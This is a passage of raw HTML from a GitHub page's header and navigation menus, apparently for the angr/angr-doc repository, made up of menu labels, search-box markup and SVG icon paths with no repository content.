.5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="40329995" data-scoped-search-url="/angr/angr-doc/search" data-owner-scoped-search-url="/orgs/angr/search" data-unscoped-search-url="/search" data-turbo="false" action="/angr/angr-doc/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="DQVxlrSDUPZJKId5twpLQje/VysShEIot3GZ9EBybS1ng5WJzBxC2nQ8OZ4CpfYVY+ZYp2zVZgI4KSaRgVeQoA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div 